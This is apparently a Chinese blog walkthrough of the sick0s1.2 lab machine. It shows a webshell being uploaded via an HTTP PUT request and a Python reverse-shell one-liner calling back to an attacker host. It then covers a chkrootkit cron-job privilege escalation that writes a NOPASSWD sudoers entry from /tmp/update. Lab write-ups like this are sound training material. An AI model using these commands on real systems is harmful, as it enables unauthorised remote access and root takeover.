sick0s1.2:Linux Cron Job 提权


靶机下载地址

1.信息提取

扫描端口:

目录扫描:

扫描到/test/目录,点击又回到主页

2.检查网页可用http请求

检查网页可用http请求

curl -v -X OPTIONS 192.168.56.5/test

允许put方法,尝试上传webshell

curl -v -X PUT -d '<?php echo system($_REQUEST['cmd']);?>' http://192.168.56.5/test/webshell.php

测试一下

反弹连接:

python反弹shell代码:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.56.3",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

反弹连接成功

这里遇到个坑:靶机应该配置了防火墙,当反弹连接设置为4444,1234等端口时,无法反弹连接成功。只有当设置为其它应用常用的端口,比如443,8080才可以。

3.Linux Cron Job 提权

定时任务(cron job)可以用来设置周期执行的命令,提权的原理为计划任务以root权限运行,计划任务中的脚本其他用户有写入的权限,或者脚本所属组为其他用户,则可以进行计划任务提权。

查看/etc/cron.daily文件夹,查看定时任务。

chkrootkit存在提权漏洞。这个漏洞是在/tmp文件夹创建update文件,chkrootkit程序就会定时去以root身份执行它。

创建update文件,把www-data用户添加到sudo权限。

echo 'echo "www-data ALL=NOPASSWD: ALL" >> /etc/sudoers && chmod 440 /etc/sudoers' > /tmp/update
< ALL" >> /etc/sudoers && chmod 440 /etc/sudoers' > /tmp/update 

将文件加执行权限,然后等待一会儿,输入sudo su命令,成功提权到root

得到flag

最后来看一下,是什么设置导致反弹连接多数端口不可用。用iptables -L命令

靶机定制了策略,值允许上图中的那几个端口开放,因此导致我浪费了大量时间检查靶机的网络问题。

4.总结

这个靶机我还是接触到了全新的东西:

  • curl命令检查http请求方法,上传reverse shell;
  • 定时任务(corn job)提权,有一个任务文件夹:/etc/cron.daily
  • 给当前用户添加sudo权限来提权
  • 注意靶机是否设置防火墙只允许个别端口进行数据传输。

文章作者: Summer One
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Summer One !
  目录